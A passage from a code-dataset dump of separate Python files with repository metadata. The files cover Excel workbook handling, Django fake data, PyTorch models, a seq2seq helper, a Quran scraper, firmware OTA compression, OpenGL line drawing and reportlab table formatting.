Path(folder).joinpath(pattern.format(name))\n                if path.exists() and path.is_dir():\n                    out.save(str(path))\n                else:\n                    NotADirectoryError(\"folder is not a directory.\")\n            else:\n                tip = 'arg function func_call return not Sheet Type!'\n                raise TypeError(tip)\n\n    def save(self, path):\n        if path == None:\n            raise ValueError(\"path can not be None.\")\n\n        print('<'+path+'>工作簿正在保存')\n        if 'Sheet' in self.sheetnames:\n            self.remove(self['Sheet'])\n        super().save(path)\n        self.close()\n        print('<'+path+'>工作簿保存成功')\n\n    # 重写此方法，用于使用自定义的 Worksheet\n    def create_sheet(self, title=None, index=None):\n        \"\"\"Create a worksheet (at an optional index).\n\n        :param title: optional title of the sheet\n        :type title: str\n        :param index: optional position at which the sheet will be inserted\n        :type index: int\n\n        \"\"\"\n        if self.read_only:\n            raise ReadOnlyWorkbookException(\n                'Cannot create new sheet in a read-only workbook')\n\n        if self.write_only:\n            new_ws = WriteOnlyWorksheet(parent=self, title=title)\n        else:\n            new_ws = Worksheet(parent=self, title=title)\n\n        self._add_sheet(sheet=new_ws, index=index)\n        return new_ws\n","repo_name":"yuyuko-C/pyworkkit","sub_path":"on_excel/workbook/workbook.py","file_name":"workbook.py","file_ext":"py","file_size_in_byte":4215,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"73779038007","text":"from dados_para_o_map import produtos, pessoas, lista\nfrom functools import reduce\n\n# recude -> (acumulador, item: acumulador + item, lista, valor inicial do acumulador)\n\nsoma_lista = reduce(lambda total, preco_produto: total + preco_produto, lista, 0)\nsoma_precos = reduce(lambda acumulador, item: acumulador + item['preco'], produtos, 0)\nsoma_idades = reduce(lambda acumula_idade, pessoa: acumula_idade + pessoa['idade'], pessoas, 0)\nprint(soma_lista)\nprint(soma_precos)\nprint(soma_idades / len(pessoas))\n","repo_name":"JerberthRocha/curso-python3","sub_path":"Programacao_procedural/reduce.py","file_name":"reduce.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"36031352303","text":"import random\nfrom django.core.management.base import BaseCommand\nfrom django.utils import timezone\nfrom faker import Faker\nfrom todo_app.models import Task, Tag\n\n\nclass Command(BaseCommand):\n    help = 'Generates fake data for the Todo List app.'\n\n    TAGS = ['Work', 'Personal', 'Shopping', 'Health', 'Fitness']\n    STATUSES = ['OPEN', 'WORKING', 'DONE', 'OVERDUE']\n\n    def add_arguments(self, parser):\n        parser.add_argument('count', type=int, help='Number of fake tasks to create')\n\n    def handle(self, *args, **options):\n        fake = Faker()\n        count = options['count']\n        for _ in range(count):\n            title = fake.sentence(nb_words=4)\n            description = fake.paragraph(nb_sentences=2)\n            due_date = fake.date_between(start_date='-30d', end_date='+30d')\n            status = random.choice(self.STATUSES)\n            task = Task.objects.create(title=title, description=description, due_date=due_date, status=status)\n            self.assign_random_tags(task)\n\n    def assign_random_tags(self, task):\n        tags = random.sample(self.TAGS, random.randint(1, len(self.TAGS)))\n        for tag_name in tags:\n            tag, _ = Tag.objects.get_or_create(name=tag_name)\n            task.tags.add(tag)\n        task.save()\n\n\n","repo_name":"Parassirohi/Todo-Lists","sub_path":"todo_app/management/commands/dummydata.py","file_name":"dummydata.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"8969911993","text":"import torch.nn as nn\n\nclass Encoder(nn.Module) :\n    def __init__(self):\n        super(Encoder, self).__init__()\n\n        # input : (?, 1, 256, 256)\n        self.inc = DoubleConv(1, 64)\n        self.down1 = Down(64, 128)\n        self.down2 = Down(128, 256)\n        self.down3 = Down(256, 512)\n\n    def forward(self, x):\n        out = self.inc(x)\n        out = self.down1(out)\n        out = self.down2(out)\n        out = self.down3(out)\n\n        return out\n\nclass Down(nn.Module) :\n    def __init__(self, in_channels, out_channels):\n        super(Down, self).__init__()\n\n        self.maxpool_conv = nn.Sequential(\n            nn.MaxPool2d(2),\n            DoubleConv(in_channels, out_channels)\n        )\n\n    def forward(self, x):\n        out = self.maxpool_conv(x)\n\n        return out\n\nclass DoubleConv(nn.Module) :\n    def __init__(self, in_channels, out_channels, mid_channels=None):\n        super(DoubleConv, self).__init__()\n\n        if not mid_channels : mid_channels = out_channels\n\n        self.double_conv = nn.Sequential(\n            nn.Conv2d(in_channels, mid_channels,  kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)),\n            nn.BatchNorm2d(mid_channels), nn.ReLU(inplace=True),\n            nn.Conv2d(mid_channels, out_channels, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)),\n            nn.BatchNorm2d(out_channels), nn.ReLU(inplace=True),\n        )\n\n    def forward(self, x):\n        out = self.double_conv(x)\n\n        return out\n\nclass channel_reduction(nn.Module) :\n    def __init__(self, ratio=2):\n        super(channel_reduction, self).__init__()\n        self.channel_reduction = nn.Conv2d(512, int(512//ratio), kernel_size=(1, 1))\n\n    def forward(self, x):\n        x = self.channel_reduction(x)\n\n        return x","repo_name":"ICCV2023FSDA/FSDA_ICCV2023","sub_path":"FSDA/Extract/ExtractParts.py","file_name":"ExtractParts.py","file_ext":"py","file_size_in_byte":1744,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"27828353320","text":"import random\n\nimport matplotlib.pyplot as plt\nimport torch\n\nplt.switch_backend('agg')\nimport matplotlib.ticker as ticker\n\nfrom io import open\nimport unicodedata\nimport re\nimport time\nimport math\n\n# 用于建立字符的索引\nSOS_token = 0\nEOS_token = 1\n\n\nclass Lang:\n    def __init__(self, name):\n        self.name = name\n        self.word2index = {}\n        self.word2count = {}\n        self.index2word = {0: \"SOS\", 1: \"EOS\"}\n        self.n_words = 2  # Count SOS and EOS\n\n    def addSentence(self, sentence):\n        for word in sentence.split(' '):\n            self.addWord(word)\n\n    def addWord(self, word):\n        if word not in self.word2index:\n            self.word2index[word] = self.n_words\n            self.word2count[word] = 1\n            self.index2word[self.n_words] = word\n            self.n_words += 1\n        else:\n            self.word2count[word] += 1\n\n\n# 定义辅助函数\n# Turn a Unicode string to plain ASCII, thanks to\n# https://stackoverflow.com/a/518232/2809427\ndef unicodeToAscii(s):\n    return ''.join(\n        c for c in unicodedata.normalize('NFD', s)\n        if unicodedata.category(c) != 'Mn'\n    )\n\n\n# Lowercase, trim, and remove non-letter characters\ndef normalizeString(s):\n    s = unicodeToAscii(s.lower().strip())\n    s = re.sub(r\"([.!?])\", r\" \\1\", s)\n    s = re.sub(r\"[^a-zA-Z.!?]+\", r\" \", s)\n    return s\n\n\ndef readLangs(lang1, lang2, reverse=False):\n    print(\"Reading lines...\")\n\n    # Read the file and split into lines\n    lines = open('data/%s-%s.txt' % (lang1, lang2), encoding='utf-8'). \\\n        read().strip().split('\\n')\n\n    # Split every line into pairs and normalize\n    pairs = [[normalizeString(s) for s in l.split('\\t')] for l in lines]\n\n    # Reverse pairs, make Lang instances\n    if reverse:\n        pairs = [list(reversed(p)) for p in pairs]\n        input_lang = Lang(lang2)\n        output_lang = Lang(lang1)\n    else:\n        input_lang = Lang(lang1)\n        output_lang = Lang(lang2)\n\n    return input_lang, output_lang, pairs\n\n\n# 为了简单起见，只使用一部分的数据\nMAX_LENGTH = 10\n\neng_prefixes = (\n    \"i am \", \"i m \",\n    \"he is\", \"he s \",\n    \"she is\", \"she s \",\n    \"you are\", \"you re \",\n    \"we are\", \"we re \",\n    \"they are\", \"they re \"\n)\n\n\ndef filterPair(p):\n    return len(p[0].split(' ')) < MAX_LENGTH and \\\n           len(p[1].split(' ')) < MAX_LENGTH and \\\n           p[1].startswith(eng_prefixes)\n\n\ndef filterPairs(pairs):\n    return [pair for pair in pairs if filterPair(pair)]\n\n\ndef prepareData(lang1, lang2, reverse=False):\n    input_lang, output_lang, pairs = readLangs(lang1, lang2, reverse)\n    print(\"Read %s sentence pairs\" % len(pairs))\n    pairs = filterPairs(pairs)\n    print(\"Trimmed to %s sentence pairs\" % len(pairs))\n    print(\"Counting words...\")\n    for pair in pairs:\n        input_lang.addSentence(pair[0])\n        output_lang.addSentence(pair[1])\n    print(\"Counted words:\")\n    print(input_lang.name, input_lang.n_words)\n    print(output_lang.name, output_lang.n_words)\n    return input_lang, output_lang, pairs\n\n\ndef indexesFromSentence(lang, sentence):\n    return [lang.word2index[word] for word in sentence.split(' ')]\n\n\ndef tensorFromSentence(lang, sentence, device):\n    indexes = indexesFromSentence(lang, sentence)\n    indexes.append(EOS_token)\n    return torch.tensor(indexes, dtype=torch.long, device=device).view(-1, 1)\n\n\ndef tensorsFromPair(input_lang, output_lang, pair, device):\n    input_tensor = tensorFromSentence(input_lang, pair[0], device)\n    target_tensor = tensorFromSentence(output_lang, pair[1], device)\n    return input_tensor, target_tensor\n\n\ndef asMinutes(s):\n    m = math.floor(s / 60)\n    s -= m * 60\n    return '%dm %ds' % (m, s)\n\n\ndef timeSince(since, percent):\n    now = time.time()\n    s = now - since\n    es = s / (percent)\n    rs = es - s\n    return '%s (- %s)' % (asMinutes(s), asMinutes(rs))\n\n\ndef showPlot(points):\n    plt.figure()\n    fig, ax = plt.subplots()\n    # this locator puts ticks at regular intervals\n    loc = ticker.MultipleLocator(base=0.2)\n    ax.yaxis.set_major_locator(loc)\n    plt.plot(points)\n\n\n","repo_name":"Sanster/notes","sub_path":"deep_learning/pytorch/seq2seq_attn_translation/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":4065,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"77"}
+{"seq_id":"71052215289","text":"import requests as r, os\nfrom bs4 import BeautifulSoup as par\nclear = lambda : os.system('clear')\n\ndef main():\n\tclear()\n\tprint('''\\x1b[1;97m=============================================\n\\x1b[1;91m   * \\x1b[1;97mAuthor : \\x1b[1;92mRizky\n\\x1b[1;91m   * \\x1b[1;97mSupport: \\x1b[1;92mAprilia\n\\x1b[1;91m   * \\x1b[1;97mTeam   : \\x1b[1;92mXIUZCODE\n\\x1b[1;91m   * \\x1b[1;97mGithub : \\x1b[1;92mhttps://github.com/hekelpro\n\\x1b[1;97m=============================================''')\n\ttry:\n\t\ta = r.get('https://litequran.net').text\n\texcept r.exceptions.ConnectionError:\n\t\texit('\\x1b[1;91m! \\x1b[1;97mTidak Ada Koneksi')\n\ta = par(a,'html.parser')\n\tprint('\\n\\x1b[1;92m1\\x1b[1;91m. Keluar Program')\n\t# <!-- Variabel --!>\n\tno, ayat, bacaan, arti, link = 0, 0, 0, 0, []\n\tfor x in a.find_all('a'):\n\t\tno += 1\n\t\ttitel = x.get('title')\n\t\tif titel == None:\n\t\t\tpass\n\t\telse:\n\t\t\tprint(f'\\x1b[1;92m{str(no)}\\x1b[1;91m. \\x1b[1;97m{titel}')\n\tfor z in a.find_all('a'):\n\t\trun = z.get('href')\n\t\tlink.append(run)\n\ttry:\n\t\tpil = input('\\n\\x1b[1;91m# \\x1b[1;97mPilih:\\x1b[1;96m ')\n\t\tif pil =='1':\n\t\t\texit('\\x1b[1;91m! \\x1b[1;97mProgram Berakhir')\n\t\telse:\n\t\t\tpil = int(pil) - 1\n\t\t\tlanjut = r.get(str(link[pil])).text\n\t\t\tscrap = par(lanjut,'html.parser')\n\t\t\tfind1 = scrap.find('h1', class_=\"page-title\").text\n\t\t\tprint(\"\\x1b[1;97m=\"*45)\n\t\t\tprint(\"\\x1b[1;92m            \"+find1)\n\t\t\tprint(\"\\x1b[1;97m=\"*45)\n\t\t\tprint(\"\\x1b[1;97mTulisan Arab: \\n\")\n\t\t\tfor al in scrap.find_all('span', class_=\"ayat\"):\n\t\t\t\tayat += 1\n\t\t\t\tal = (al.text)\n\t\t\t\tprint(f'\\x1b[1;92m{str(ayat)}\\x1b[1;91m.\\x1b[1;97m {al.strip()}')\n\t\t\tprint(\"\\x1b[1;97m=\"*45)\n\t\t\tprint(\"Cara Bacanya: \\n\")\n\t\t\tfor bc in scrap.find_all('span', class_=\"bacaan\"):\n\t\t\t\tbacaan += 1\n\t\t\t\tbc = (bc.text)\n\t\t\t\tprint(f'\\x1b[1;92m{str(bacaan)}\\x1b[1;91m. \\x1b[1;97m{bc.strip()}')\n\t\t\tprint(\"\\x1b[1;97m=\"*45)\n\t\t\tprint(\"Artinya: \\n\")\n\t\t\tfor ar in scrap.find_all('span', class_=\"arti\"):\n\t\t\t\tarti += 1\n\t\t\t\tar = (ar.text)\n\t\t\t\tprint(f'\\x1b[1;92m{str(arti)}\\x1b[1;91m. \\x1b[1;97m{ar.strip()}')\n\t\t\tprint(\"=\"*45)\n\texcept ValueError:\n\t        exit('\\x1b[1;91m! \\x1b[1;97mJangan Kosong')\n\texcept IndexError:\n\t        exit('\\x1b[1;91m! \\x1b[1;97mIsi Yang Betul')\n\nif __name__=='__main__':\n\tmain()\n\n# <!-- XIUZCODE | OPEN SOURCE TEAM\n# <!-- THANKS TO ALL MEMBER XIUZCODE\n","repo_name":"Zusyaku/Tools-Termux-Kali-Linux","sub_path":"Al-Quran-master/Al-Quran.py","file_name":"Al-Quran.py","file_ext":"py","file_size_in_byte":2256,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"77"}
+{"seq_id":"6206902706","text":"import os\nimport sys\nimport struct\nimport shutil\n\nworkdir = os.path.dirname(os.path.abspath(sys.argv[0]))\nif sys.platform == 'linux2':\n    xzpath = 'xz'\nelse:\n    xzpath = os.path.join(workdir, 'xz', 'osx/xz' if sys.platform == 'darwin' else 'win/xz.exe').replace('\\\\', '/')\n\nrawfile = sys.argv[1]\nrawsize = os.path.getsize(rawfile)\nxzfile = rawfile.replace('.bin', '.bin.xz')\notafile = rawfile.replace('.bin', '.ota.bin')\nos.system('%s --lzma2=dict=32KiB --check=crc32 -k %s' % (xzpath, rawfile))\nopen(xzfile, 'ab').write(struct.pack('<L', rawsize))\nshutil.move(xzfile, otafile)\n","repo_name":"Ai-Thinker-Open/Ai-Thinker-Open-TG7100C_SDK","sub_path":"Living_SDK/platform/mcu/asr5502/ota.py","file_name":"ota.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"77"}
+{"seq_id":"30594937547","text":"from __future__ import with_statement\nfrom django import forms\nfrom attachment.utils import bind_attachments\n\n\nclass AttachmentableMixin(object):\n    \"\"\"Attachment mixin\n\n    To enable attachement feature, you must use this mixin or ``attachmentable``\n    decorator.\n\n    \"\"\"\n\n    def __init__(self, *args, **kwargs):\n        super(AttachmentableMixin, self).__init__(*args, **kwargs)\n        # add required field\n        self.fields['attachment_pks'] = forms.CharField(\n                widget=forms.HiddenInput()\n            )\n\n    def save(self, commit=True):\n        # To attache, instance must has ``pk`` so commit anyway.\n        instance = super(AttachmentableMixin, self).save(commit=True)\n\n        # bind attachments to the instance\n        bind_attachments(self, instance)\n\n        return instance\n","repo_name":"lambdalisue/django-attachement","sub_path":"attachment/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"12794884823","text":"import sys\r\nimport time\r\nfrom OpenGL import *\r\nfrom OpenGL.GL import *\r\nfrom OpenGL.GLU import *\r\nfrom OpenGL.GLUT import *\r\n\r\nwindow = 0\r\n\r\nwidth, height = 800, 600\r\n\r\n\r\ndef bresAlgo(x1, y1, x2, y2):\r\n    #menentukan delta X dan delta Y\r\n    dx = abs(x2 - x1)\r\n    dy = abs(y2 - y1)\r\n    slope = dy/float(dx)\r\n    \r\n    x, y = x1, y1 \r\n\r\n    if slope > 1:\r\n        dx, dy = dy, dx\r\n        x, y = y, x\r\n        x1, y1 = y1, x1\r\n        x2, y2 = y2, x2\r\n\r\n    p = 2 * dy - dx\r\n    \r\n    glVertex2f(x, y)\r\n    \r\n    \r\n    for k in range(2, dx):\r\n        if p > 0:\r\n            y = y + 1 if y < y2 else y - 1\r\n            p = p + 2*(dy - dx)\r\n        else:\r\n            p = p + 2*dy\r\n \r\n        x = x + 1 if x < x2 else x - 1\r\n\r\n\r\n        time.sleep(0.01)\r\n        glVertex2f(x, y)\r\n            \r\n#memulai menggabar menggunakan bressenham\r\ndef lineBres():\r\n    glClear(GL_COLOR_BUFFER_BIT|GL_DEPTH_BUFFER_BIT)\r\n    glBegin(GL_LINES)\r\n    #menentukan warna\r\n    glColor(1.0, 1.0, 0.0)\r\n    bresAlgo(50, 50, 60, 60)   \r\n    glEnd()\r\n    glutSwapBuffers()\r\n\r\ndef main():\r\n    #inisialisasi glut\r\n    glutInit(sys.argv)\r\n    #inisialisasi type display glut\r\n    glutInitDisplayMode(GLUT_RGBA|GLUT_DOUBLE|GLUT_ALPHA|GLUT_DEPTH)\r\n    #inisialisasi ukuran layar glut\r\n    glutInitWindowSize(width, height)\r\n    #inisialisasi ukuran layar glut\r\n    glutInitWindowPosition(0,0)\r\n    #inisialisasi window\r\n    glutCreateWindow(\"Bressenham\")\r\n    #membersihkan layar dan memberikan warna\r\n    glClearColor(0.0, 0.0, 0.0, 1.0)\r\n    gluOrtho2D(0.0, 100.0, 0.0, 100.0)\r\n    glutDisplayFunc(lineBres)\r\n    glutIdleFunc(lineBres)\r\n    glutMainLoop()\r\n\r\nmain()\r\n        \r\n        \r\n\r\n   \r\n","repo_name":"TriaSuci054/Tugas-Grafika-Komputer","sub_path":"kodingan_bresenham.py","file_name":"kodingan_bresenham.py","file_ext":"py","file_size_in_byte":1670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"25344783966","text":"from reportlab.platypus import Table, TableStyle, Flowable\nfrom reportlab.lib.colors import grey, white, HexColor, black, gray\nfrom matplotlib.colors import rgb2hex, LinearSegmentedColormap\nfrom matplotlib.pyplot import get_cmap\nimport numpy as np\nimport pandas as pd\n\nfrom tia.rlab.components import KeepInFrame\nimport tia.util.fmt as fmt\n\n\n__all__ = ['ConditionalRedBlack', 'DynamicTable', 'TableFormatter', 'RegionFormatter', 'IntFormatter', 'FloatFormatter',\n           'PercentFormatter', 'ThousandsFormatter', 'MillionsFormatter', 'BillionsFormatter', 'DollarCentsFormatter',\n           'DollarFormatter', 'ThousandDollarsFormatter', 'MillionDollarsFormatter', 'BillionDollarsFormatter',\n           'YmdFormatter', 'Y_m_dFormatter', 'DynamicNumberFormatter', 'BorderTypeGrid', 'BorderTypeHorizontal',\n           'BorderTypeOutline', 'BorderTypeOutline', 'BorderTypeVertical', 'Style', 'BorderTypeOutlineCols']\n\nDefaultHeaderStyle = {\n    \"GRID\": (.5, grey), \"BOX\": (.25, black), \"VALIGN\": \"MIDDLE\", \"LEADING\": 6, \"LEFTPADDING\": 3,\n    \"RIGHTPADDING\": 3, \"BOTTOMPADDING\": 3, \"TOPPADDING\": 3, \"FONTSIZE\": 6, \"BACKGROUND\": HexColor(\"#404040\"),\n    \"FONTNAME\": \"Helvetica\", \"ALIGN\": \"CENTER\", \"TEXTCOLOR\": white\n}\n\nDefaultCellStyle = {\n    \"GRID\": (.5, grey), \"BOX\": (.25, black), \"VALIGN\": \"MIDDLE\", \"LEADING\": 6, \"LEFTPADDING\": 3,\n    \"RIGHTPADDING\": 3, \"BOTTOMPADDING\": 2, \"TOPPADDING\": 2, \"ALIGN\": \"CENTER\", \"TEXTCOLOR\": black,\n    \"ROWBACKGROUNDS\": [[HexColor(\"#e3ebf4\"), white]], \"FONTSIZE\": 6, \"FONTNAME\": \"Helvetica\"  # \"FONTNAME\": \"Courier\"\n}\n\nDefaultIndexStyle = {\n    \"GRID\": (.5, grey), \"BOX\": (.25, black), \"VALIGN\": \"MIDDLE\", \"LEADING\": 6, \"LEFTPADDING\": 3,\n    \"RIGHTPADDING\": 3, \"BOTTOMPADDING\": 2, \"TOPPADDING\": 2, \"ALIGN\": \"RIGHT\", \"TEXTCOLOR\": black,\n    \"ROWBACKGROUNDS\": [[HexColor(\"#e3ebf4\"), white]], \"FONTSIZE\": 6, \"FONTNAME\": \"Helvetica\"\n}\n\nDefaultWeight = .7\n\nAlignRight = {'ALIGN': 'RIGHT'}\n\nConditionalRedBlack = lambda x: x < 0 and dict(TEXTCOLOR=HexColor(\"#800000\"))\n\n\ndef pad_positive_wrapper(fmtfct):\n    \"\"\"Ensure that numbers are aligned in table by appending a blank space to postive values if 'parenthesis' are\n    used to denote negative numbers\"\"\"\n\n    def check_and_append(*args, **kwargs):\n        result = fmtfct(*args, **kwargs)\n        if fmtfct.parens and not result.endswith(')'):\n            result += ' '\n        return result\n\n    return check_and_append\n\n\nIntFormatter = pad_positive_wrapper(fmt.new_int_formatter(nan='-'))\nFloatFormatter = pad_positive_wrapper(fmt.new_float_formatter(nan='-'))\nPercentFormatter = pad_positive_wrapper(fmt.new_percent_formatter(nan='-'))\nThousandsFormatter = pad_positive_wrapper(fmt.new_thousands_formatter(nan='-'))\nMillionsFormatter = pad_positive_wrapper(fmt.new_millions_formatter(nan='-'))\nBillionsFormatter = pad_positive_wrapper(fmt.new_billions_formatter(nan='-'))\n# Don't attempt to pad\nDynamicNumberFormatter = fmt.DynamicNumberFormat(method='col', nan='-', pcts=1, trunc_dot_zeros=1)\n\nDollarCentsFormatter = pad_positive_wrapper(fmt.new_float_formatter(prefix='$', nan='-'))\nDollarFormatter = pad_positive_wrapper(fmt.new_int_formatter(prefix='$', nan='-'))\nThousandDollarsFormatter = pad_positive_wrapper(fmt.new_thousands_formatter(prefix='$', nan='-'))\nMillionDollarsFormatter = pad_positive_wrapper(fmt.new_millions_formatter(prefix='$', nan='-'))\nBillionDollarsFormatter = pad_positive_wrapper(fmt.new_billions_formatter(prefix='$', nan='-'))\nYmdFormatter = fmt.new_datetime_formatter('%Y%m%d', True)\nY_m_dFormatter = fmt.new_datetime_formatter('%Y-%m-%d', True)\nmdYFormatter = fmt.new_datetime_formatter('%m/%d/%Y', True)\n\n\nclass DynamicTable(Table):\n    def __init__(self, data, on_wrap=None, **kwargs):\n        self.on_wrap = on_wrap\n        Table.__init__(self, data, **kwargs)\n        self._longTableOptimize = 0\n\n    def wrap(self, awidth, aheight):\n        self.on_wrap and self.on_wrap(self, awidth, aheight)\n        return Table.wrap(self, awidth, aheight)\n\n\ndef is_contiguous(idx):\n    if len(idx) > 0:\n        s0, s1 = idx.min(), idx.max()\n        expected = pd.Int64Index(np.array(list(range(s0, s1 + 1))))\n        # return idx.isin(expected).all()\n        return expected.isin(idx).all()\n\n\ndef find_locations(index, match_value_or_fct, levels=None, max_matches=0):\n    matches = []\n    fct = match_value_or_fct\n    if not callable(fct):\n        match_value = match_value_or_fct\n        if not isinstance(match_value, basestring) and hasattr(match_value, '__iter__'):\n            fct = lambda v: v in match_value\n        else:\n            fct = lambda v: v == match_value_or_fct\n\n    for lvl, loc, val in level_iter(index, levels):\n        if fct(val):\n            matches.append(loc)\n            if max_matches and len(matches) >= matches:\n                break\n    return matches\n\n\ndef level_iter(index, levels=None):\n    if levels is None:\n        levels = range(index.nlevels)\n    elif np.isscalar(levels):\n        levels = [levels]\n\n    for level in levels:\n        for i, v in enumerate(index.get_level_values(level)):\n            yield level, i, v\n\n\ndef span_iter(series):\n    sorted = series.sort_index()\n    isnull = pd.isnull(sorted).values\n    isnulleq = isnull[1:] & isnull[:-1]\n    iseq = sorted.values[1:] == sorted.values[:-1]\n    eq = isnulleq | iseq\n    li = 0\n    for i in range(len(eq)):\n        islast = i == (len(eq) - 1)\n        if eq[i]:  # if currently true then consecutive\n            if islast or not eq[i + 1]:\n                yield sorted.index[li], sorted.index[i + 1]\n        else:\n            li = i + 1\n    raise StopIteration\n\n\nclass BorderType(object):\n    def __init__(self, weight=DefaultWeight, color=black, cap=None, dashes=None, join=None, count=None, space=None):\n        args = locals()\n        args.pop('self')\n        self.kwargs = args\n\n    def apply(self, rng, **overrides):\n        args = self.kwargs.copy()\n        args.update(overrides)\n        self._do_apply(rng, args)\n\n    def _do_apply(self, rng, args):\n        raise NotImplementedError()\n\n\nclass BorderTypeGrid(BorderType):\n    def _do_apply(self, rng, args):\n        rng.set_grid(**args)\n\n\nclass BorderTypeOutline(BorderType):\n    def _do_apply(self, rng, args):\n        rng.set_box(**args)\n\n\nclass BorderTypeHorizontal(BorderType):\n    def _do_apply(self, rng, args):\n        fct = lambda r: (r.set_lineabove(**args), r.set_linebelow(**args))\n        [fct(row) for row in rng.iter_rows()]\n\n\nclass BorderTypeOutlineCols(BorderType):\n    def _do_apply(self, rng, args):\n        [col.set_box(**args) for col in rng.iter_cols()]\n\n\nclass BorderTypeVertical(BorderType):\n    def _do_apply(self, rng, args):\n        fct = lambda r: (r.set_linebefore(**args), r.set_lineafter(**args))\n        [fct(col) for col in rng.iter_cols()]\n\n\nclass Style(object):\n    Blue = {'Light': HexColor('#dce6f1'),\n            'Medium': HexColor('#95b3d7'),\n            'Dark': HexColor('#4f81bd')}\n\n    Black = {'Light': HexColor('#d9d9d9'),\n             'Medium': HexColor('#6c6c6c'),\n             'Dark': black}\n\n    Red = {'Light': HexColor('#f2dcdb'),\n           'Medium': HexColor('#da9694'),\n           'Dark': HexColor('#c0504d')}\n\n    Lime = {'Light': HexColor('#ebf1de'),\n            'Medium': HexColor('#c4d79b'),\n            'Dark': HexColor('#9bbb59')}\n\n    Purple = {'Light': HexColor('#e4dfec'),\n              'Medium': HexColor('#b1a0c7'),\n              'Dark': HexColor('#8064a2')}\n\n    Orange = {'Light': HexColor('#fde9d9'),\n              'Medium': HexColor('#fabf8f'),\n              'Dark': HexColor('#f79646')}\n\n    Cyan = {'Light': HexColor('#eff4f6'),\n            'Medium': HexColor('#a8c2cb'),\n            'Dark': HexColor('#3b595f')}\n\n    DarkBlue = {'Light': HexColor('#e5eaee '),\n                'Medium': HexColor('#9aabbc'),\n                'Dark': HexColor('#042f59')}\n\n    @staticmethod\n    def apply_basic(formatter, font='Helvetica', font_bold='Helvetica-Bold', font_size=8, rpad=None, lpad=None,\n                    bpad=None, tpad=None, colspans=1, rowspans=0):\n        lpad = 4. / 8. * font_size if lpad is None else 3\n        rpad = 4. / 8. * font_size if rpad is None else 3\n        bpad = 4. / 8. * font_size if bpad is None else 4\n        tpad = 4. / 8. * font_size if tpad is None else 4\n        formatter.all.set_font(font, size=font_size, leading=font_size)\n        formatter.all.set_pad(lpad, bpad, rpad, tpad)\n        formatter.all.set_valign_middle()\n        # do the default things\n        formatter.header.set_font(font_bold)\n        formatter.header.set_align_center()\n        formatter.index_header.set_font(font_bold)\n        formatter.index_header.set_align_left()\n        formatter.index.set_font(font_bold)\n        formatter.index.set_align_left()\n        formatter.cells.set_font(font)\n        formatter.cells.set_align_right()\n        # do col spans and row spans\n        if rowspans and formatter.index.ncols > 1:\n            formatter.index.iloc[:, :formatter.index.ncols - 1].detect_rowspans()\n        if colspans and formatter.header.nrows > 1:\n            formatter.header.iloc[:formatter.header.nrows - 1, :].detect_colspans()\n\n    @staticmethod\n    def apply_color(formatter, cmap=None, font_bw=1, stripe_rows=1, stripe_cols=0,\n                    hdr_border_clazz=BorderTypeGrid, cell_border_clazz=BorderTypeOutline, border_weight=.7):\n        \"\"\"\n        font_bw: bool, If True use black and white fonts. If False, then use the cmap\n        \"\"\"\n        cmap = cmap or Style.Blue\n        light = cmap.get('Light', white)\n        medium = cmap.get('Medium', gray)\n        dark = cmap.get('Dark', black)\n        # the ranges\n        header = formatter.all.iloc[:formatter.header.nrows]\n        cells = formatter.all.iloc[formatter.header.nrows:]\n        # color the header\n        hdr_border_clazz and header.set_border_type(hdr_border_clazz, color=medium, weight=border_weight)\n        header.set_textcolor(font_bw and white or light)\n        header.set_background(dark)\n        # color the cells\n        cell_border_clazz and cells.set_border_type(cell_border_clazz, color=medium, weight=border_weight)\n        stripe_rows and cells.set_row_backgrounds([light, white])\n        stripe_cols and cells.set_col_backgrounds([white, light])\n        not font_bw and cells.set_textcolor(dark)\n\n\nclass RegionFormatter(object):\n    def __init__(self, parent, row_ilocs, col_ilocs):\n        self.row_ilocs = row_ilocs\n        self.col_ilocs = col_ilocs\n        self.parent = parent\n        self.style_cmds = parent.style_cmds\n        self.is_contiguous_rows = isrcont = is_contiguous(row_ilocs)\n        self.is_contiguous_cols = isccont = is_contiguous(col_ilocs)\n        self.iloc = _RegionIX(self, 'iloc')\n\n        # Build coord arrays for easy iteration\n        if isccont:\n            self.col_coord_tuples = [(col_ilocs.min(), col_ilocs.max())]\n        else:\n            self.col_coord_tuples = list(zip(col_ilocs, col_ilocs))\n\n        if isrcont:\n            self.row_coord_tuples = [(row_ilocs.min(), row_ilocs.max())]\n        else:\n            self.row_coord_tuples = list(zip(row_ilocs, row_ilocs))\n\n    @property\n    def nrows(self):\n        return len(self.row_ilocs)\n\n    @property\n    def ncols(self):\n        return len(self.col_ilocs)\n\n    @property\n    def last_row(self):\n        return self.empty_frame() if self.nrows == 0 else self.iloc[-1:, :]\n\n    @property\n    def last_col(self):\n        return self.empty_frame() if self.ncols == 0 else self.iloc[:, -1:]\n\n    def is_empty(self):\n        return self.nrows == 0 and self.ncols == 0\n\n    @property\n    def formatted_values(self):\n        return self.parent.formatted_values.iloc[self.row_ilocs, self.col_ilocs]\n\n    @property\n    def actual_values(self):\n        return self.parent.actual_values.iloc[self.row_ilocs, self.col_ilocs]\n\n    def new_instance(self, local_row_idxs, local_col_idxs):\n        rows = pd.Int64Index([self.row_ilocs[r] for r in local_row_idxs])\n        cols = pd.Int64Index([self.col_ilocs[c] for c in local_col_idxs])\n        return RegionFormatter(self.parent, rows, cols)\n\n    def empty_frame(self):\n        return self.new_instance([], [])\n\n    def match_column_labels(self, match_value_or_fct, levels=None, max_matches=0, 